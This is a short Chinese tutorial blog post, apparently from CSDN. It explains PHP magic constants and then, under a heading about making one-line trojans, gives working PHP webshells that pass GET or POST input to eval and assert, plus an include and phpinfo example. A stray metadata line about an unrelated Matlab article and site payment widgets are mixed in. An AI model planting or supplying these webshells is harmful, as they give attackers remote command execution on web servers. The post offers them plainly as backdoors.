PHP 魔术常量 一句话制作木马$_GET $_POST include命令

本文介绍了PHP的四个魔术常量__LINE__, __FILE__, __DIR__, 和 __FUNCTION__的功能和使用示例。同时,讨论了利用$_GET, $_POST和include命令可能存在的安全风险,如通过eval和assert执行恶意代码。" 124311987,9354391,使用Matlab的文件选择对话框加载3D点云,"['计算机视觉', '3d', 'matlab']

一.PHP 魔术常量

 __LINE__ 的值就依赖于它在脚本中所处的行来决定。这些特殊的常量不区分大小写

1.__LINE__

文件中的当前行号

<?php echo '这是第 " ' . __LINE__ . ' " 行'; 

以上实例输出结果为:这是第 “ 2 ” 行

2.__FILE__

文件的完整路径和文件名

<?php echo '该文件位于 " ' . __FILE__ . ' " '; ?>

以上实例输出结果为:该文件位于 “ E:\wamp\www\test\index.php ”

3.__DIR__

文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录。

它等价于 dirname(__FILE__)。除非是根目录,否则目录中名不包括末尾的斜杠。

<?php echo '该文件位于 " ' . __DIR__ . ' " '; ?>

以上实例输出结果为:该文件位于 “ E:\wamp\www\test ”

4.__FUNCTION__ 

函数名称(PHP 4.3.0 新加)。自 PHP 5 起本常量返回该函数被定义时的名字(区分大小写)

<?php function test() {

echo '函数名为:' . __FUNCTION__ ; }

test();

?>

以上实例输出结果为:函数名为:test

二 一句话制作木马

1.$_GET

<?php

@eval ($_GET['cmd']);

 ?>

 2.$_POST

<?php

@eval ($_POST['cmd']);

?>

 3.<?php

@assert ($_POST['cmd']);

?>

4.include

 <?php 
include 'jhs.php'; 
?>

 

<?php
phpinfo();
?>





评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值